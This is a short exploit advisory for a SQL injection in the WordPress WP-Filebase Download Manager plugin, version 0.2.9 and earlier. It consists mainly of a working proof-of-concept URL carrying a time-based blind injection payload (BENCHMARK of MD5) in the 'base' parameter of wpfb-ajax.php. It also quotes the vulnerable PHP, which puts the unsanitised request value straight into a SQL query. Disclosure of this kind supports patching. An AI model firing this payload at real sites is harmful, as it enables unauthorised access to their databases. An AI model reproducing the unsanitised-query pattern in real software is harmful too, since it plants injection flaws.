WordPress Plugin WP-Filebase Download Manager 0.2.9 – SQL Injection
# Exploit Title: WordPress WP-Filebase Download Manager plugin <= 0.2.9 SQL Injection Vulnerability # Date: 2011-09-09 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/wp-filebase.0.2.9.zip # Version: 0.2.9 (tested) --- PoC --- http://www.site.com/wp-content/plugins/wp-filebase/wpfb-ajax.php?action=tree&base=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&root=source --------------- Vulnerable code --------------- if(!isset($_REQUEST['action'])) die('-1'); ... switch ( $action = $_REQUEST['action'] ) { case 'tree': ... $base_id = (empty($_REQUEST['base']) ? 0 : $_REQUEST['base']); ... if(empty($_REQUEST['root']) || $_REQUEST['root'] == 'source') $parent_id = $base_id; else { $root = $_REQUEST['root']; $parent_id = is_numeric($root) ? intval($root) : intval(substr(strrchr($root,'-'),1)); } ... $cats = $browser ? WPFB_Category::GetFileBrowserCats($parent_id) : WPFB_Category::GetCats("WHERE cat_parent = $parent_id ORDER BY cat_name ASC"); |